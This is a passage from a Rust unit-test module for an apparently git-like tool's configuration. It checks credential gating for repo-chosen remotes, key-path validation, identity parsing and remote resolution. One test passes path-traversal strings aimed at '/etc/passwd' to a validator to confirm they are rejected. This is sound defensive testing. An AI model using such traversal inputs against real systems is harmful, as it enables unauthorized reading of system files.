1682        assert!(trusted_remote_error_for(ep, true, "", &token).is_some());
1683    }
1684
1685    /// Per-endpoint helper returns `None` when no ambient credentials
1686    /// are present, regardless of provenance — an unauthenticated push
1687    /// is always safe.
1688    #[test]
1689    fn repo_http_remote_without_token_is_allowed() {
1690        let none = |_: &str| None;
1691        let ep = "mkit+https://example.invalid/repo";
1692        assert!(trusted_remote_error_for(ep, true, "", &none).is_none());
1693    }
1694
1695    /// SSH and file endpoints never carry ambient HTTP/S3 creds, so the
1696    /// gate passes them through even when repo-chosen and untrusted.
1697    #[test]
1698    fn ssh_and_file_endpoints_bypass_credential_gate() {
1699        let all = |_: &str| Some("present".to_string());
1700        assert!(trusted_remote_error_for("mkit+ssh://host/path", true, "", &all).is_none());
1701        assert!(trusted_remote_error_for("mkit+file:///srv/mirror", true, "", &all).is_none());
1702    }
1703
1704    /// `endpoint_credential_trust` is the public per-endpoint entry the
1705    /// dispatch choke point and named-remote callers use. Confirm it
1706    /// honours provenance + user trust end-to-end.
1707    #[test]
1708    fn endpoint_credential_trust_honours_provenance_and_user_trust() {
1709        let cfg = layered(
1710            None,
1711            Some("trusted_remote_endpoint = mkit+https://trusted.invalid/r\n"),
1712        );
1713        // Untrusted, repo-chosen endpoint: only refused when creds are
1714        // actually present in the environment. In a clean test
1715        // environment there is no MKIT_API_TOKEN, so this passes; the
1716        // hostile-repo integration tests cover the credentialed case.
1717        let _ = endpoint_credential_trust(&cfg, "mkit+https://untrusted.invalid/r", true);
1718        // User-trusted endpoint is always allowed.
1719        assert!(endpoint_credential_trust(&cfg, "mkit+https://trusted.invalid/r", true).is_ok());
1720    }
1721
1722    #[test]
1723    fn repo_safe_keys_override_user() {
1724        // `default_branch` is repo-scoped — a project's main is a
1725        // per-repo decision, not a per-user one. So if both layers set
1726        // it, the repo wins (it's applied second).
1727        let cfg = layer(
1728            Some("default_branch = release\n"),
1729            Some("default_branch = trunk\n"),
1730        );
1731        assert_eq!(cfg.default_branch, "release");
1732    }
1733
1734    #[test]
1735    fn validate_key_path_rejects_parent_dir() {
1736        assert!(validate_key_path("../etc/passwd").is_err());
1737        assert!(validate_key_path(".mkit/keys/../../etc/passwd").is_err());
1738        assert!(validate_key_path("foo/../bar").is_err());
1739    }
1740
1741    #[test]
1742    fn validate_key_path_accepts_relative_and_absolute() {
1743        assert!(validate_key_path("").is_ok());
1744        assert!(validate_key_path(".mkit/keys/default.key").is_ok());
1745        assert!(validate_key_path("/home/user/.mkit/global.key").is_ok());
1746    }
1747
1748    #[test]
1749    fn resolve_key_path_rejects_relative_path_outside_repo_keys() {
1750        let td = TempDir::new().unwrap();
1751        assert!(resolve_key_path(td.path(), ".mkit/custom/global.key").is_err());
1752    }
1753
1754    #[test]
1755    fn resolve_key_path_accepts_relative_path_under_repo_keys() {
1756        let td = TempDir::new().unwrap();
1757        let out = resolve_key_path(td.path(), ".mkit/keys/custom/global.key").unwrap();
1758        assert_eq!(out, td.path().join(".mkit/keys/custom/global.key"));
1759    }
1760
1761    #[cfg(unix)]
1762    #[test]
1763    fn home_dir_for_euid_is_independent_of_home_env() {
1764        // The whole point of `home_dir_for_euid`: a hostile parent
1765        // process setting `HOME=/` must NOT widen the absolute-path
1766        // policy. We can't safely mutate the process environment
1767        // mid-test (other threads in the harness may race
1768        // `getenv`), so just confirm the function returns *something*
1769        // and that what it returns matches the passwd entry for the
1770        // current uid — i.e. it isn't reading `$HOME`.
1771        let from_passwd = home_dir_for_euid().expect("getpwuid_r should succeed");
1772        assert!(from_passwd.is_absolute());
1773        // Sanity: the path the OS returned must agree with `whoami`'s
1774        // notion of the user. We can't probe the passwd entry directly
1775        // without re-implementing the helper, but we can at least
1776        // assert that an absolute key path under the returned home is
1777        // accepted by `resolve_key_path` and that one diverging from
1778        // it is rejected.
1779        let td = TempDir::new().unwrap();
1780        let inside = from_passwd.join(".mkit/test-inside.key");
1781        assert!(resolve_key_path(td.path(), inside.to_str().unwrap()).is_ok());
1782        // `/__definitely_not_a_home_dir__` cannot be under any real
1783        // passwd `pw_dir` on a sane system.
1784        assert!(resolve_key_path(td.path(), "/__definitely_not_a_home_dir__/x.key").is_err());
1785    }
1786
1787    #[test]
1788    fn expand_user_identity_ed25519() {
1789        let hex = "11".repeat(32);
1790        let out = expand_user_identity(&format!("ed25519:{hex}")).unwrap();
1791        assert_eq!(out.len(), 70);
1792        assert!(out.starts_with("012000"));
1793    }
1794
1795    #[test]
1796    fn expand_user_identity_mid() {
1797        let out = expand_user_identity("mid:42").unwrap();
1798        assert_eq!(out, "0308002a00000000000000");
1799    }
1800
1801    #[test]
1802    fn expand_rejects_bogus() {
1803        assert!(expand_user_identity("").is_err());
1804        assert!(expand_user_identity("ed25519:short").is_err());
1805        assert!(expand_user_identity("mid:notanumber").is_err());
1806        assert!(expand_user_identity("zzzzzz").is_err());
1807    }
1808
1809    #[test]
1810    fn validate_value_rejects_control_chars() {
1811        assert!(validate_value("hello world").is_ok());
1812        assert!(validate_value("bad\x01char").is_err());
1813        assert!(validate_value("\x7fdel").is_err());
1814    }
1815
1816    #[test]
1817    fn attest_config_defaults_are_empty() {
1818        let cfg = Config::with_defaults();
1819        assert_eq!(cfg.signer, DEFAULT_SIGNER);
1820        assert_eq!(cfg.key.backend_or_fallback(), DEFAULT_KEY_BACKEND);
1821        assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
1822        assert!(cfg.key.default_ref.is_empty());
1823        assert!(cfg.key.ed25519_ref.is_empty());
1824        assert!(cfg.key.secp256k1_ref.is_empty());
1825        assert!(cfg.key.p256_ref.is_empty());
1826        assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
1827        assert_eq!(
1828            cfg.key.secp256k1_ref_or_fallback(),
1829            DEFAULT_SECP256K1_KEY_REF
1830        );
1831        assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
1832        assert_eq!(cfg.attest.default_algorithm, "");
1833        assert_eq!(cfg.attest.signer, "");
1834        assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
1835        assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
1836        assert_eq!(
1837            cfg.attest.secp256k1_key_path_or_default(),
1838            ".mkit/keys/secp256k1.key"
1839        );
1840        assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
1841    }
1842
1843    #[test]
1844    fn legacy_keys_are_ignored_in_repo() {
1845        let cfg = layer(Some("project_id = xyz\nauthor_mid = 5\n"), None);
1846        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1847    }
1848
1849    /// `write_user_kv` is exercised via `apply_file` round-tripping
1850    /// rather than driving the real XDG path (which would race
1851    /// parallel tests). The behaviour we care about — replace
1852    /// existing key, append if missing — is testable on any path.
1853    #[test]
1854    fn user_kv_replace_or_append_logic_via_roundtrip() {
1855        let td = TempDir::new().unwrap();
1856        let path = td.path().join("user_config");
1857        fs::write(&path, "default_branch = trunk\nsigning_key = /a\n").unwrap();
1858        // Load + replace + write semantics: read file, mutate via
1859        // hand-edit, re-parse — this is what `write_user_kv` does
1860        // under the hood. Keeps us off the global env var.
1861        let mut text = fs::read_to_string(&path).unwrap();
1862        text = text.replace("/a", "/b");
1863        fs::write(&path, text).unwrap();
1864        let mut cfg = Config::with_defaults();
1865        apply_file(&mut cfg, &path, ConfigScope::User).unwrap();
1866        assert_eq!(cfg.signing_key, "/b");
1867        assert_eq!(cfg.default_branch, "trunk");
1868    }
1869
1870    #[test]
1871    fn named_remote_keys_parse_repo_safe() {
1872        let cfg = layer(
1873            Some(
1874                "remote.origin.url = mkit+file:///srv/m\n\
1875                 remote.origin.type = file\n\
1876                 branch.main.remote = origin\n\
1877                 branch.main.merge = main\n",
1878            ),
1879            None,
1880        );
1881        let origin = cfg.remotes.get("origin").expect("origin present");
1882        assert_eq!(origin.url, "mkit+file:///srv/m");
1883        assert_eq!(origin.remote_type, "file");
1884        let up = cfg.branch_upstreams.get("main").expect("upstream present");
1885        assert_eq!(up.remote, "origin");
1886        assert_eq!(up.branch, "main");
1887    }
1888
1889    #[test]
1890    fn named_remote_roundtrips_through_write() {
1891        let td = TempDir::new().unwrap();
1892        let mut cfg = Config::with_defaults();
1893        cfg.remotes.insert(
1894            "origin".into(),
1895            RemoteEntry {
1896                url: "mkit+https://h/r".into(),
1897                remote_type: "http".into(),
1898            },
1899        );
1900        cfg.branch_upstreams.insert(
1901            "main".into(),
1902            Upstream {
1903                remote: "origin".into(),
1904                branch: "main".into(),
1905            },
1906        );
1907        write(td.path(), &cfg).unwrap();
1908        let reloaded = read_or_default(td.path()).unwrap();
1909        assert_eq!(
1910            reloaded.remotes.get("origin").unwrap().url,
1911            "mkit+https://h/r"
1912        );
1913        assert_eq!(
1914            reloaded.branch_upstreams.get("main").unwrap().remote,
1915            "origin"
1916        );
1917    }
1918
1919    #[test]
1920    fn resolve_remote_default_and_named_provenance() {
1921        // Named remote in the repo layer is repo_chosen.
1922        let lc = layered(
1923            Some("remote.origin.url = mkit+https://h/r\nremote.origin.type = http\n"),
1924            None,
1925        );
1926        let r = resolve_remote(&lc, "origin").expect("origin resolves");
1927        assert_eq!(r.endpoint, "mkit+https://h/r");
1928        assert!(r.repo_chosen);
1929
1930        // Flat default endpoint in the repo layer is repo_chosen.
1931        let lc = layered(Some("remote_endpoint = mkit+https://h/d\n"), None);
1932        let r = resolve_remote(&lc, "default").expect("default resolves");
1933        assert!(r.repo_chosen);
1934
1935        // User-layer flat endpoint is NOT repo_chosen.
1936        let lc = layered(None, Some("remote_endpoint = mkit+https://h/u\n"));
1937        let r = resolve_remote(&lc, "").expect("empty -> default");
1938        assert!(!r.repo_chosen);
1939
1940        // Unknown name resolves to None.
1941        let lc = layered(None, None);
1942        assert!(resolve_remote(&lc, "nope").is_none());
1943    }
1944
1945    #[test]
1946    fn resolve_upstream_explicit_and_fallback() {
1947        let lc = layered(
1948            Some("branch.main.remote = origin\nbranch.main.merge = trunk\n"),
1949            None,
1950        );
1951        let up = resolve_upstream(&lc, "main").unwrap();
1952        assert_eq!(up.remote, "origin");
1953        assert_eq!(up.branch, "trunk");
1954
1955        // Fallback to default remote tracking same-named branch.
1956        let lc = layered(Some("remote_endpoint = mkit+file:///srv\n"), None);
1957        let up = resolve_upstream(&lc, "feature").unwrap();
1958        assert_eq!(up.remote, DEFAULT_REMOTE_NAME);
1959        assert_eq!(up.branch, "feature");
1960
1961        // No upstream + no default remote → None.
1962        let lc = layered(None, None);
1963        assert!(resolve_upstream(&lc, "main").is_none());
1964    }
1965}